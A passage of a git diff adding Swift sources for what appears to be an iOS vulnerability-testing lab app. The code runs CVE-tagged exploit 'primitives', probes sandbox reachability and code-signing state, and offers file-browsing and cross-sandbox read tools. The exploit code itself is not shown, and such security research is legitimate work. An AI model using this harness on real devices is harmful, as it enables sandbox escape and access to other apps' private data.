"/usr/lib/libarchive.2.dylib", + "/System/Library/Frameworks/Accelerate.framework/Accelerate", + "/System/Library/Frameworks/IOKit.framework/IOKit", + "/System/Library/Frameworks/Security.framework/Security", + "/usr/lib/libcompression.dylib", + ] +} + +// MARK: - csops / codesign state + +enum CodeSign { + struct State { + var flags: UInt32 = 0 + var valid: Bool = false + var descriptions: [String] = [] + } + + static func current() -> State { + var st = State() + guard let sym = DyLib.shared.symbol("csops") else { return st } + typealias Fn = @convention(c) (pid_t, UInt32, UnsafeMutableRawPointer?, Int) -> Int32 + let fn = unsafeBitCast(sym, to: Fn.self) + var flags: UInt32 = 0 + let rc = withUnsafeMutablePointer(to: &flags) { ptr -> Int32 in + fn(getpid(), 0, UnsafeMutableRawPointer(ptr), MemoryLayout.size) + } + guard rc == 0 else { return st } + st.flags = flags + st.valid = true + let names: [(UInt32, String)] = [ + (0x00000001, "CS_VALID"), + (0x00000002, "CS_ADHOC"), + (0x00000004, "CS_GET_TASK_ALLOW"), + (0x00000008, "CS_INSTALLER"), + (0x00000010, "CS_HARD"), + (0x00000020, "CS_KILL"), + (0x00000040, "CS_CHECK_EXPIRATION"), + (0x00000080, "CS_RESTRICT"), + (0x00000100, "CS_ENFORCEMENT"), + (0x00000200, "CS_REQUIRE_LV"), + (0x00000400, "CS_ENTITLEMENTS_VALIDATED"), + (0x00000800, "CS_NVRAM_UNRESTRICTED"), + (0x00001000, "CS_RUNTIME"), + (0x00002000, "CS_LINKER_SIGNED"), + ] + st.descriptions = names.filter { flags & $0.0 != 0 }.map { $0.1 } + return st + } +} + +// MARK: - entitlements (in-process) + +enum Entitlements { + static func dump() -> [String: Any] { + guard let createSym = DyLib.shared.symbol("SecTaskCreateFromSelf"), + let copySym = DyLib.shared.symbol("SecTaskCopyValueForEntitlement") else { return [:] } + typealias CreateFn = @convention(c) (CFAllocator?) -> CFTypeRef? + typealias CopyFn = @convention(c) (CFTypeRef?, CFString, UnsafeMutablePointer?>?) -> CFTypeRef? + let create = unsafeBitCast(createSym, to: CreateFn.self) + let copy = unsafeBitCast(copySym, to: CopyFn.self) + guard let task = create(nil) else { return [:] } + guard let value = copy(task, "entitlements" as CFString, nil) else { return [:] } + return (value as? [String: Any]) ?? [:] + } +} + +// MARK: - Path reachability + +struct PathProbe: Identifiable, Hashable { + let id = UUID() + let path: String + let readable: Bool + let writable: Bool + let entryCount: Int + let errno: Int32 + let note: String +} + +enum Probe { + static func path(_ rawPath: String) -> PathProbe { + let fm = FileManager.default + let p = Container.normalize(rawPath) + var readable = false + var writable = false + var count = 0 + var err: Int32 = 0 + var note = "" + + if let listing = try? fm.contentsOfDirectory(atPath: p) { + readable = true + count = listing.count + } else { + err = errno + if fm.fileExists(atPath: p) { readable = true } + } + + // isWritableFile is access(W_OK) — the sandbox answers that against the vnode path, + // not against the extension the app actually holds. Probe by writing instead, but + // only inside paths we are allowed to touch at all (never create files in /System). + let insideContainer = p.hasPrefix(Container.rootPath) + if insideContainer { + writable = Container.probe(URL(fileURLWithPath: p, isDirectory: true)).canWrite + } else if readable { + writable = fm.isWritableFile(atPath: p) + } + + if !readable { + switch err { + case EACCES: note = tl("EPERM — 沙盒拒绝") + case ENOENT: note = tl("不存在") + case ENOTDIR: note = tl("路径中间不是目录") + default: note = Container.describe(err) + } + } else if !writable { + note = insideContainer ? tl("只读(探针未通过)") : tl("只读") + } else { + note = tl("可写") + } + return PathProbe(path: p, readable: readable, writable: writable, + entryCount: count, errno: err, note: note) + } + + static let interestingRoots = [ + "/", + "/System", + "/System/Library", + "/System/Library/CoreServices", + "/System/Library/Frameworks", + "/System/Library/PrivateFrameworks", + "/System/Library/Extensions", + "/System/Library/LaunchDaemons", + "/usr", + "/usr/lib", + "/usr/bin", + "/usr/share", + "/private/etc", + "/private/var", + "/private/var/mobile", + "/private/var/mobile/Library", + "/private/var/mobile/Containers", + "/private/var/mobile/Containers/Data", + "/private/var/mobile/Containers/Shared/AppGroup", + "/private/var/mobile/Media", + "/private/var/db", + "/private/var/jb", + "/private/preboot", + "/tmp", + "/var/tmp", + "/dev", + "/cores", + ] +} + +// MARK: - Mach / kernel interface + +enum Mach { + static func taskSelf() -> mach_port_t { mach_task_self_ } + + /// Host statistics page size etc. Cheap, always allowed. + static func vmStats() -> (free: UInt64, active: UInt64, wired: UInt64)? { + var stats = vm_statistics64_data_t() + var count = mach_msg_type_number_t(MemoryLayout.size / MemoryLayout.size) + let kr = withUnsafeMutablePointer(to: &stats) { ptr -> kern_return_t in + ptr.withMemoryRebound(to: integer_t.self, capacity: Int(count)) { intPtr in + host_statistics64(mach_host_self(), HOST_VM_INFO64, intPtr, &count) + } + } + guard kr == KERN_SUCCESS else { return nil } + let pageSize = UInt64(vm_kernel_page_size) + return (UInt64(stats.free_count) * pageSize, + UInt64(stats.active_count) * pageSize, + UInt64(stats.wire_count) * pageSize) + } +} + +// MARK: - Device model + +struct DeviceModel { + let machine: String + let hwModel: String + let osVersion: String + let osBuild: String + let kernel: String + let cpuCount: Int + let physicalMemory: UInt64 + let displayName: String + + var marketingName: String { + let table: [String: String] = [ + "iPhone17,1": "iPhone 16 Pro", + "iPhone17,2": "iPhone 16 Pro Max", + "iPhone17,3": "iPhone 16", + "iPhone17,4": "iPhone 16 Plus", + "iPhone17,5": "iPhone 16e", + "iPhone18,1": "iPhone 17 Pro", + "iPhone18,2": "iPhone 17 Pro Max", + "iPhone18,3": "iPhone 17", + "iPhone18,4": "iPhone 17 Air", + "iPhone19,1": "iPhone 18 Pro", + "iPhone19,2": "iPhone 18 Pro Max", + "iPhone19,3": "iPhone 18", + "iPhone19,4": "iPhone 18 Air", + ] + return table[machine] ?? machine + } + + /// The 27.2 fix window. Everything strictly below 27.2 carries the whole CVE set. + /// Mirrors VersionGate: 17.0 through 27.1 carry the live bugs, 27.2+ carries the fixes. + var vulnerabilityClass: String { + let parts = osVersion.split(separator: ".").compactMap { Int($0) } + guard let major = parts.first else { return "UNKNOWN" } + let minor = parts.count > 1 ? parts[1] : 0 + if major < 17 { return "UNKNOWN" } + if major < 27 { return "VULNERABLE" } + if major == 27 { return minor < 2 ? "VULNERABLE" : "PATCHED" } + return "PATCHED" + } + + var buildHint: String { + switch vulnerabilityClass { + case "VULNERABLE": return "Pre-27.2 build — all 82 localized fixes are live" + case "PATCHED": return "27.2 or later — the gate wave is in place" + default: return "unclassified build" + } + } + + static func current() -> DeviceModel { + let v = ProcessInfo.processInfo.operatingSystemVersion + return DeviceModel( + machine: sysctlString("hw.machine") ?? "unknown", + hwModel: sysctlString("hw.model") ?? "unknown", + osVersion: "\(v.majorVersion).\(v.minorVersion)" + (v.patchVersion != 0 ? ".\(v.patchVersion)" : ""), + osBuild: sysctlString("kern.osversion") ?? "unknown", + kernel: sysctlString("kern.version") ?? "unknown", + cpuCount: ProcessInfo.processInfo.processorCount, + physicalMemory: ProcessInfo.processInfo.physicalMemory, + displayName: UIDevice.current.name + ) + } +} diff --git a/Sources/L10n.swift b/Sources/L10n.swift new file mode 100644 index 0000000..75b3996 --- /dev/null +++ b/Sources/L10n.swift @@ -0,0 +1,260 @@ +import Foundation +import SwiftUI + +// MARK: - Localization +// +// A code-resident table rather than .lproj bundles: the build is a single swiftc +// invocation with no Xcode project, so resources would have to be copied by hand and +// kept in sync. One table is one source of truth. +// +// Language detection: Locale.preferredLanguages[0] → language code → match against the +// supported set → fall back to English. Region is ignored (pt-BR and pt-PT both map to +// nothing here; en-GB maps to English). +// +// Arabic forces RTL at the root view. + +enum Lang: String, CaseIterable, Identifiable { + case en, zh + + var id: String { rawValue } + + /// Endonym — a language list is only usable if each entry is written in itself. + var native: String { + switch self { + case .en: return "English" + case .zh: return "中文" + } + } + + /// Neither supported language is right-to-left. + var isRTL: Bool { false } + + /// Locale used for number/date formatting. + var locale: Locale { Locale(identifier: rawValue) } + + /// The language actually in effect (manual override, else detected). + static var resolved: Lang { L10n.shared.resolved() } +} + +final class L10n: ObservableObject { + static let shared = L10n() + + @Published private(set) var lang: Lang + private var override: Lang? + + private init() { + lang = Self.detect() + } + + static func detect() -> Lang { + if let forced = ProcessInfo.processInfo.environment["CINDER27_LANG"], + let l = Lang(rawValue: forced) { + return l + } + // Two languages only: Chinese (any variant, including zh-Hans / zh-Hant / zh-HK) + // maps to zh, everything else maps to English. + for identifier in Locale.preferredLanguages { + let code = identifier.split(separator: "-").first.map(String.init)?.lowercased() ?? "" + if code == "zh" { return .zh } + if code == "en" { return .en } + } + return .en + } + + func set(_ language: Lang) { + override = language + lang = language + UserDefaults.standard.set(language.rawValue, forKey: "cinder27.lang") + objectWillChange.send() + } + + /// Manual override persisted from the language picker, else the detected language. + func resolved() -> Lang { + if let o = override { return o } + if let saved = UserDefaults.standard.string(forKey: "cinder27.lang"), + let l = Lang(rawValue: saved) { + override = l + return l + } + return lang + } +} + +/// Translate a key. Unknown keys return the key itself so a missing string is visible in +/// the UI instead of silently empty. +func t(_ key: String) -> String { + L10n.shared.string(key) +} + +extension L10n { + func string(_ key: String) -> String { + let language = resolved() + if let row = Table.rows[key], let value = row[language] { return value } + if let row = Table.rows[key], let value = row[.en] { return value } + return key + } +} + +// MARK: - Table +// +// Row order is fixed: en, zh, fr, ja, ru, de, es, ar. + +enum Table { + static let order: [Lang] = [.en, .zh] + + static func row(_ en: String, _ zh: String) -> [Lang: String] { + [.en: en, .zh: zh] + } + + static let rows: [String: [Lang: String]] = [ + // ---- tabs + "tab.overview": row("Overview", "总览"), + "tab.lab": row("POCs", "POCs"), + "tab.chain": row("Chain", "组合"), + "tab.mod": row("Toolkit", "改机"), + "tab.system": row("System", "系统"), + + // ---- overview + "ov.headline": row("Vulnerability Testing", "漏洞测试"), + "ov.sub": row("%d primitives · %d localized 27.2 fixes", "%d 个原语 · %d 条 27.2 修复定位"), + "ov.target": row("Target device", "目标设备"), + "ov.model": row("Model", "机型"), + "ov.os": row("System", "系统"), + "ov.kernel": row("Kernel", "内核"), + "ov.memory": row("Memory", "内存"), + "ov.verdict": row("Verdict", "判定"), + "ov.capabilities": row("Privilege ladder", "权限阶梯"), + "ov.modules": row("Primitives", "模块"), + "ov.tested": row("Run", "已运行"), + "ov.died": row("Terminated", "进程终止"), + "ov.reset": row("Clear all results", "清空全部结果"), + "ov.log": row("Log", "日志"), + "ov.log.empty": row("No runs yet", "尚无运行记录"), + "ov.interrupted": row("Interrupted runs", "上次运行的中断记录"), + "ov.interrupted.note": row("Armed before the trigger, never disarmed — the process died inside these.", "触发前写入、未在返回后关闭 —— 进程在它们内部终止。"), + + // ---- verdicts + "verdict.vulnerable": row("VULNERABLE", "易受攻击"), + "verdict.patched": row("PATCHED", "已修复"), + "verdict.unknown": row("UNKNOWN", "未判定"), + + // ---- capability levels + "cap.l0": row("Container read/write", "容器内读写"), + "cap.l1": row("Read system volume", "读取系统卷"), + "cap.l2": row("Read /private/var/mobile/Library", "读取 /private/var/mobile/Library"), + "cap.l3": row("Read other app containers", "读取其它应用容器"), + "cap.l4": row("Load private libraries outside the shared cache", "加载共享缓存外的私有库"), + "cap.l5": row("Jailbreak root /private/var/jb", "越狱根目录 /private/var/jb"), + "cap.yes": row("reachable", "可达"), + "cap.no": row("sandbox denied", "沙盒拒绝"), + "cap.absent": row("absent", "不存在"), + "cap.notJailbroken": row("absent (not jailbroken)", "不存在(未越狱)"), + + // ---- lab + "lab.title": row("Primitive lab", "漏洞实验室"), + "lab.untested": row("not run", "未运行"), + "lab.running": row("running", "运行中"), + "lab.completed": row("completed", "已完成"), + "lab.refused": row("refused", "被拒绝"), + "lab.died": row("terminated", "进程终止"), + "module.primitive": row("Primitive", "原语"), + "module.notes": row("Notes", "要点"), + "module.result": row("Result", "结果"), + "module.history": row("Run history", "运行记录"), + "module.run": row("Execute", "执行原语"), + "module.running": row("Running…", "运行中…"), + "module.close": row("Close", "关闭"), + "module.warning": row("If the process terminates inside this primitive the app exits. Reopen it and the entry reads \"terminated\" — that is the direct evidence this build is unpatched.", "若进程在该原语内终止,App 会直接退出。重新打开后这一条会被标记为「进程终止」,这就是该构建未修复的直接证据。"), + + // ---- chain + "chain.title": row("Chain", "组合链"), + "chain.stage.run": row("Run this stage", "执行本阶段"), + "chain.unlock": row("Unlocks", "解锁"), + + // ---- mod panes + "mod.title": row("Toolkit", "改机工具"), + "pane.files": row("Files", "文件"), + "pane.apps": row("Apps", "应用"), + "pane.prefs": row("Prefs", "偏好"), + "pane.procs": row("Processes", "进程"), + "pane.daemons": row("Daemons", "守护"), + "pane.crashes": row("Crashes", "崩溃"), + "pane.binary": row("Binary", "二进制"), + "pane.backup": row("Backup", "备份"), + "pane.ipa": row("IPA", "IPA"), + "pane.hex": row("Hex", "十六进制"), + "pane.xattr": row("Attrs", "属性"), + "pane.sqlite": row("SQLite", "数据库"), + "pane.fonts": row("Fonts", "字体"), + "pane.telemetry": row("Telemetry", "遥测"), + "pane.profiles": row("Profiles", "描述文件"), + "pane.cross": row("X-sandbox", "越界读"), + "pane.symlink": row("Symlink", "符号链接"), + "files.backup": row("backup written", "已写备份"), + "pane.hash": row("Hash", "哈希"), + "pane.archive": row("Archive", "归档"), + "pane.clipboard": row("Clipboard", "剪贴板"), + "pane.shortcuts": row("Actions", "快捷操作"), + + // ---- files + "files.up": row("Up", "上一级"), + "files.jump": row("Jump", "跳转"), + "files.path": row("Path", "路径"), + "files.newFolder": row("New folder", "新建文件夹"), + "files.name": row("Name", "名称"), + "files.rename": row("Rename", "重命名"), + "files.copy": row("Copy", "复制"), + "files.move": row("Move", "移动"), + "files.delete": row("Delete", "删除"), + "files.duplicate": row("Duplicate", "创建副本"), + "files.info": row("Info", "信息"), + "files.text": row("Text", "文本"), + "files.hex": row("Hex", "十六进制"), + "files.package": row("Contents", "包内容"), + "files.writable": row("writable", "可写"), + "files.readonly": row("read-only", "只读"), + "files.cancel": row("Cancel", "取消"), + "files.save": row("Save", "保存"), + "files.select": row("Select a file", "选择文件"), + "files.empty": row("Empty directory", "目录为空"), + "files.copyTo": row("Copy to…", "复制到…"), + "files.moveTo": row("Move to…", "移动到…"), + "files.done": row("Done", "完成"), + "files.copied": row("Copied", "已复制"), + "files.moved": row("Moved", "已移动"), + "files.deleted": row("Deleted", "已删除"), + "files.renamed": row("Renamed", "已重命名"), + "files.paste": row("Paste here", "粘贴到此处"), + "files.bookmarks": row("Bookmarks", "书签"), + + // ---- system + "sys.title": row("System", "系统"), + "sys.device": row("Device", "设备"), + "sys.signature": row("Code signature", "签名状态"), + "sys.entitlements": row("Entitlements", "Entitlements"), + "sys.sandbox": row("Sandbox path matrix", "沙盒路径矩阵"), + "sys.log": row("Log", "日志"), + "sys.language": row("Language", "语言"), + "sys.language.auto": row("Follow system", "跟随系统"), + + // ---- gate + "gate.checking": row("Checking device…", "正在检测设备…"), + "gate.unsupported.title": row("Unsupported system", "系统版本不支持"), + "gate.unsupported.body": row("This build targets iOS 17.0 – 27.1. From 27.2 onward every fix these primitives demonstrate has already shipped, so nothing here would fire. Downgrade from 27.2 is not possible — the signing window is closed.", "本工具面向 iOS 17.0 – 27.1。自 27.2 起,这些原语所演示的全部修复均已发布,任何一条都不会触发。27.2 无法降级 —— 签名窗口已关闭。"), + "gate.supported": row("Supported system", "系统版本符合"), + "gate.enter": row("Enter", "进入"), + "gate.required": row("Requires", "要求"), + "gate.detected": row("Detected", "检测到"), + "gate.build": row("Build", "构建号"), + "gate.recheck": row("Re-check", "重新检测"), + + // ---- common + "common.ok": row("OK", "确定"), + "common.error": row("Error", "错误"), + "common.none": row("none", "无"), + "common.yes": row("yes", "是"), + "common.no": row("no", "否"), + "common.loading": row("Loading…", "载入中…"), + "common.unknown": row("unknown", "未知"), + ] +} diff --git a/Sources/LabCore.swift b/Sources/LabCore.swift new file mode 100644 index 0000000..0660ecf --- /dev/null +++ b/Sources/LabCore.swift @@ -0,0 +1,197 @@ +import Foundation +import Combine + +enum Reach: String, Codable, CaseIterable { + case inProcess = "进程内" + case systemProcess = "系统进程" + case kernel = "内核" + case entitlementGated = "权限受限" + case radio = "无线链路" + case peripheral = "外设" + + /// Localized display name; rawValue stays Chinese as the stable storage key. + var label: String { tl(rawValue) } +} + +enum PrimitiveKind: String, Codable, CaseIterable { + case oobWrite = "OOB 写" + case oobRead = "OOB 读" + case uaf = "UAF" + case infoLeak = "信息泄露" + case typeConfusion = "类型混淆" + case intOverflow = "整数溢出" + case probe = "探测" + + /// Localized display name; rawValue stays Chinese as the stable storage key. + var label: String { tl(rawValue) } +} + +struct ModuleOutcome { + var headline: String + var detail: String = "" + var evidence: [String] = [] + var artifacts: [URL] = [] + var elapsedMs: Int = 0 + /// Set only when the module threw. The headline is display text and may be localized, + /// so it must never be compared against a literal to detect failure. + var failed: Bool = false +} + +final class RunContext { + let workdir: URL + let journal: GuardJournal + + init(workdir: URL, journal: GuardJournal) { + self.workdir = workdir + self.journal = journal + } + + @discardableResult + func write(_ name: String, _ data: Data) -> URL { + let url = workdir.appendingPathComponent(name) + try? data.write(to: url, options: .atomic) + return url + } + + func seed(_ name: String) -> Data? { + guard let url = Bundle.main.url(forResource: name, withExtension: nil) else { return nil } + return try? Data(contentsOf: url) + } + + func arm(_ id: String, _ detail: String) { journal.arm(id, detail) } + func disarm(_ id: String, _ detail: String = "") { journal.disarm(id, phase: "done", detail: detail) } + func fail(_ id: String, _ detail: String) { journal.disarm(id, phase: "threw", detail: detail) } +} + +struct ExploitModule: Identifiable { + let id: String + /// Chinese source text. English lives in ModuleText, keyed by `id`. + let titleZh: String + let cve: String + let component: String + let primitive: PrimitiveKind + let reach: Reach + /// 1 = primitive fired on a device before, 2 = fix site proven at instruction level, + /// 3 = reachability probe / honest negative. + let tier: Int + let summaryZh: String + let notesZh: String + let run: (RunContext) throws -> ModuleOutcome + + var title: String { ModuleText.resolve(id, .title, zh: titleZh) } + var summary: String { ModuleText.resolve(id, .summary, zh: summaryZh) } + var notes: String { ModuleText.resolve(id, .notes, zh: notesZh) } +} + +struct LabError: LocalizedError { + let message: String + var errorDescription: String? { message } +} + +final class LabEngine: ObservableObject { + @Published private(set) var outcomes: [String: ModuleOutcome] = [:] + @Published private(set) var running: Set = [] + @Published private(set) var logLines: [String] = [] + + let journal: GuardJournal + let workdir: URL + + init() { + // Create every standard directory before anything writes into it. This is the single + // place that decides whether the container is usable. + Container.ensureAll() + journal = GuardJournal() + workdir = Container.work + try? FileManager.default.createDirectory(at: workdir, withIntermediateDirectories: true) + } + + func log(_ line: String) { + let stamped = String(format: "[%02d:%02d:%02d] %@", + Calendar.current.component(.hour, from: Date()), + Calendar.current.component(.minute, from: Date()), + Calendar.current.component(.second, from: Date()), + line) + DispatchQueue.main.async { + self.logLines.append(stamped) + if self.logLines.count > 400 { self.logLines.removeFirst(self.logLines.count - 400) } + } + } + + func run(_ module: ExploitModule) { + guard !running.contains(module.id) else { return } + running.insert(module.id) + log("▸ " + module.title + " [" + module.cve + "]") + + let ctx = RunContext(workdir: workdir, journal: journal) + let started = Date() + + DispatchQueue.global(qos: .userInitiated).async { + do { + var out = try module.run(ctx) + out.elapsedMs = Int(Date().timeIntervalSince(started) * 1000) + DispatchQueue.main.async { + self.outcomes[module.id] = out + self.running.remove(module.id) + self.log("✓ \(module.title) — \(out.headline) (\(out.elapsedMs) ms)") + } + } catch { + let message = (error as? LocalizedError)?.errorDescription ?? error.localizedDescription + ctx.fail(module.id, message) + var out = ModuleOutcome(headline: tl("失败"), detail: message, failed: true) + out.elapsedMs = Int(Date().timeIntervalSince(started) * 1000) + DispatchQueue.main.async { + self.outcomes[module.id] = out + self.running.remove(module.id) + self.log("✗ \(module.title) — \(message)") + } + } + } + } + + func outcome(for id: String) -> ModuleOutcome? { outcomes[id] } +} + +extension LabEngine { + /// Sequential run — used by the chain view, where stage N only means something after + /// stage N-1 has produced its artifact. + func runSequence(_ modules: [ExploitModule], label: String) { + log("══ " + tl("序列开始: ") + "\(label)(\(modules.count) " + tl("个原语") + ")") + // Kick the whole sequence off on main, then hand each stage to a background queue. + // Never `main.sync` from the worker: that is a deadlock waiting for main to be busy + // on something that needs the worker. + runStage(modules, index: 0, label: label) + } + + private func runStage(_ modules: [ExploitModule], index: Int, label: String) { + guard index < modules.count else { + log("══ " + tl("序列结束: ") + "\(label)") + return + } + let module = modules[index] + running.insert(module.id) + let ctx = RunContext(workdir: workdir, journal: journal) + let started = Date() + + DispatchQueue.global(qos: .userInitiated).async { + var out: ModuleOutcome + do { + out = try module.run(ctx) + } catch { + let message = (error as? LocalizedError)?.errorDescription ?? error.localizedDescription + ctx.fail(module.id, message) + out = ModuleOutcome(headline: tl("失败"), detail: message, failed: true) + } + out.elapsedMs = Int(Date().timeIntervalSince(started) * 1000) + let finished = out + let next = index + 1 + DispatchQueue.main.async { + self.outcomes[module.id] = finished + self.running.remove(module.id) + self.log(finished.failed + ? " ✗ \(module.title) — \(finished.detail)" + : " ✓ \(module.title) — \(finished.headline)") + self.runStage(modules, index: next, label: label) + } + } + } +} diff --git a/Sources/LabView.swift b/Sources/LabView.swift new file mode 100644 index 0000000..a018153 --- /dev/null +++ b/Sources/LabView.swift @@ -0,0 +1,235 @@ +import SwiftUI + +extension Reach { + var tint: Color { + switch self { + case .inProcess: return T.good + case .systemProcess: return T.info + case .kernel: return T.bad + case .entitlementGated: return T.warn + case .radio: return T.violet + case .peripheral: return T.emberSoft + } + } +} + +extension PrimitiveKind { + var tint: Color { + switch self { + case .oobWrite: return T.ember + case .oobRead: return T.warn + case .uaf: return T.bad + case .infoLeak: return T.violet + case .typeConfusion: return T.info + case .intOverflow: return T.emberSoft + case .probe: return .white.opacity(0.5) + } + } +} + +extension LabVerdict { + var tint: Color { + switch self { + case .untested: return .white.opacity(0.3) + case .running: return T.info + case .completed: return T.good + case .refused: return T.warn + case .processDied: return T.ember + } + } +} + +// MARK: - Lab + +struct LabView: View { + @EnvironmentObject private var engine: LabEngine + @State private var selected: ExploitModule? + + var body: some View { + NavigationStack { + ScrollView { + VStack(spacing: 18) { + ForEach(Catalog.groups, id: \.0) { group in + VStack(alignment: .leading, spacing: 8) { + SectionLabel(text: group.0) + ForEach(group.1) { module in + Button { + selected = module + } label: { + moduleRow(module) + } + .buttonStyle(.plain) + } + } + } + } + .padding(16) + } + .background(T.bg.ignoresSafeArea()) + .navigationTitle(t("lab.title")) + .navigationBarTitleDisplayMode(.inline) + .sheet(item: $selected) { module in + ModuleDetailView(module: module) + .environmentObject(engine) + .presentationDetents([.large]) + } + } + } + + private func moduleRow(_ module: ExploitModule) -> some View { + let verdict = engine.journal.verdict(for: module.id) + let isRunning = engine.running.contains(module.id) + return VStack(alignment: .leading, spacing: 7) { + HStack(spacing: 8) { + Text(module.title) + .font(.system(size: 13.5, weight: .semibold, design: .rounded)) + .foregroundColor(.white.opacity(0.92)) + .lineLimit(2) + .multilineTextAlignment(.leading) + Spacer(minLength: 4) + if isRunning { + ProgressView().scaleEffect(0.6) + } else { + Pill(text: t(verdict.key), color: verdict.tint) + } + } + HStack(spacing: 6) { + Pill(text: module.primitive.label, color: module.primitive.tint) + Pill(text: module.reach.label, color: module.reach.tint) + Text(module.cve) + .font(T.monoSm) + .foregroundColor(.white.opacity(0.3)) + .lineLimit(1) + } + Text(module.component) + .font(T.monoSm) + .foregroundColor(.white.opacity(0.28)) + .lineLimit(1) + } + .padding(12) + .frame(maxWidth: .infinity, alignment: .leading) + .background(RoundedRectangle(cornerRadius: 12, style: .continuous).fill(T.panel)) + .overlay(RoundedRectangle(cornerRadius: 12, style: .continuous).strokeBorder(T.stroke, lineWidth: 1)) + } +} + +struct ModuleDetailView: View { + let module: ExploitModule + @EnvironmentObject private var engine: LabEngine + @Environment(\.dismiss) private var dismiss + + var body: some View { + NavigationStack { + ScrollView { + VStack(spacing: 14) { + Card { + VStack(alignment: .leading, spacing: 10) { + HStack(spacing: 6) { + Pill(text: module.primitive.label, color: module.primitive.tint) + Pill(text: module.reach.label, color: module.reach.tint) + Pill(text: "T\(module.tier)", color: .white.opacity(0.5)) + } + Text(module.title) + .font(.system(size: 19, weight: .bold, design: .rounded)) + .foregroundColor(.white) + Text(module.component) + .font(T.mono) + .foregroundColor(.white.opacity(0.4)) + Text(module.cve) + .font(T.mono) + .foregroundColor(T.emberSoft) + } + } + + Card { + VStack(alignment: .leading, spacing: 8) { + SectionLabel(text: t("module.primitive")) + Text(module.summary) + .font(T.body) + .foregroundColor(.white.opacity(0.8)) + .fixedSize(horizontal: false, vertical: true) + } + } + + Card { + VStack(alignment: .leading, spacing: 8) { + SectionLabel(text: t("module.notes")) + Text(module.notes) + .font(T.body) + .foregroundColor(.white.opacity(0.65)) + .fixedSize(horizontal: false, vertical: true) + } + } + + if let outcome = engine.outcome(for: module.id) { + Card { + VStack(alignment: .leading, spacing: 8) { + HStack { + SectionLabel(text: t("module.result")) + Spacer() + Text("\(outcome.elapsedMs) ms").font(T.monoSm).foregroundColor(.white.opacity(0.3)) + } + Text(outcome.headline) + .font(.system(size: 15, weight: .semibold, design: .rounded)) + .foregroundColor(outcome.failed ? T.bad : T.good) + if !outcome.detail.isEmpty { + Text(outcome.detail) + .font(T.monoSm) + .foregroundColor(.white.opacity(0.6)) + .fixedSize(horizontal: false, vertical: true) + } + ForEach(Array(outcome.evidence.enumerated()), id: \.offset) { _, line in + Text("· \(line)") + .font(T.monoSm) + .foregroundColor(.white.opacity(0.42)) + } + } + } + } + + let history = engine.journal.history(for: module.id) + if !history.isEmpty { + Card { + VStack(alignment: .leading, spacing: 6) { + SectionLabel(text: t("module.history")) + ForEach(history.suffix(6)) { entry in + HStack(spacing: 8) { + Text(entry.phase) + .font(T.monoSm) + .foregroundColor(entry.phase == "died" ? T.ember : .white.opacity(0.4)) + .frame(width: 46, alignment: .leading) + Text(entry.detail) + .font(T.monoSm) + .foregroundColor(.white.opacity(0.35)) + .lineLimit(1) + } + } + } + } + } + + RunButton(title: engine.running.contains(module.id) ? t("module.running") : t("module.run"), + systemImage: "bolt.fill", + tint: module.primitive.tint, + disabled: engine.running.contains(module.id)) { + engine.run(module) + } + + Text(t("module.warning")) + .font(T.tiny) + .foregroundColor(.white.opacity(0.32)) + .fixedSize(horizontal: false, vertical: true) + } + .padding(16) + } + .background(T.bg.ignoresSafeArea()) + .navigationTitle(t("tab.lab")) + .navigationBarTitleDisplayMode(.inline) + .toolbar { + ToolbarItem(placement: .topBarTrailing) { + Button(t("module.close")) { dismiss() }.tint(T.ember) + } + } + } + } +} diff --git a/Sources/ModKit.swift b/Sources/ModKit.swift new file mode 100644 index 0000000..78a55b1 --- /dev/null +++ b/Sources/ModKit.swift @@ -0,0 +1,305 @@ +import Foundation +import Combine + +struct FileItem: Identifiable, Hashable { + var id: String { path } + let name: String + let path: String + let isDirectory: Bool + let size: Int64 + let modified: Date? + let isSymlink: Bool + + var icon: String { + if isDirectory { return "folder.fill" } + switch (name as NSString).pathExtension.lowercased() { + case "plist": return "list.bullet.rectangle" + case "db", "sqlite", "sqlite3": return "cylinder.split.1x2" + case "ipa", "deb", "zip", "tar", "gz", "xz": return "shippingbox.fill" + case "dylib", "so": return "puzzlepiece.extension" + case "png", "jpg", "jpeg", "heic", "gif": return "photo" + case "json", "xml", "strings", "txt", "log": return "doc.text" + case "mobileprovision": return "checkmark.seal" + case "car", "nib", "storyboardc": return "square.stack.3d.up" + default: return "doc" + } + } + + var displaySize: String { + if isDirectory { return "—" } + let f = ByteCountFormatter() + f.countStyle = .file + return f.string(fromByteCount: size) + } +} + +final class FileBrowser: ObservableObject { + @Published private(set) var path: String + @Published private(set) var items: [FileItem] = [] + @Published private(set) var error: String? + @Published private(set) var writable: Bool = false + + private let fm = FileManager.default + + init(path: String) { + self.path = Container.normalize(path) + reload() + } + + func reload() { + var isDir: ObjCBool = false + guard fm.fileExists(atPath: path, isDirectory: &isDir), isDir.boolValue else { + items = [] + error = Container.describe(ENOENT) + return + } + writable = Container.probe(URL(fileURLWithPath: path, isDirectory: true)).canWrite + do { + let names = try fm.contentsOfDirectory(atPath: path) + var list: [FileItem] = [] + for name in names { + let full = (path as NSString).appendingPathComponent(name) + var dirFlag: ObjCBool = false + let exists = fm.fileExists(atPath: full, isDirectory: &dirFlag) + let attrs = try? fm.attributesOfItem(atPath: full) + let size = (attrs?[.size] as? NSNumber)?.int64Value ?? 0 + let modified = attrs?[.modificationDate] as? Date + let symlink = (try? fm.destinationOfSymbolicLink(atPath: full)) != nil + list.append(FileItem(name: name, path: full, + isDirectory: exists && dirFlag.boolValue, + size: size, modified: modified, isSymlink: symlink)) + } + items = list.sorted { + if $0.isDirectory != $1.isDirectory { return $0.isDirectory } + return $0.name.localizedStandardCompare($1.name) == .orderedAscending + } + error = nil + } catch { + items = [] + let code = errno + self.error = "\(Container.describe(code)) · \(path)" + } + } + + func enter(_ item: FileItem) { + guard item.isDirectory else { return } + path = item.path + reload() + } + + func up() { + guard path != "/" else { return } + path = (path as NSString).deletingLastPathComponent + if path.isEmpty { path = "/" } + reload() + } + + func chdir(_ newPath: String) { + path = Container.normalize(newPath) + reload() + } + + @discardableResult + func delete(_ item: FileItem) -> String? { + do { try fm.removeItem(atPath: item.path); reload(); return nil } + catch { return error.localizedDescription } + } + + @discardableResult + func makeDirectory(_ name: String) -> String? { + let target = (path as NSString).appendingPathComponent(name) + do { + try fm.createDirectory(atPath: target, withIntermediateDirectories: true) + // prove it took, rather than trusting the call + let probe = Container.probe(URL(fileURLWithPath: target, isDirectory: true)) + reload() + return probe.ok ? nil : tl("已创建但探针失败: ") + "\(probe.note)" + } catch { + let code = errno + return "\(Container.describe(code)) · \(target)" + } + } + + @discardableResult + func rename(_ item: FileItem, to newName: String) -> String? { + let dest = (path as NSString).appendingPathComponent(newName) + do { try 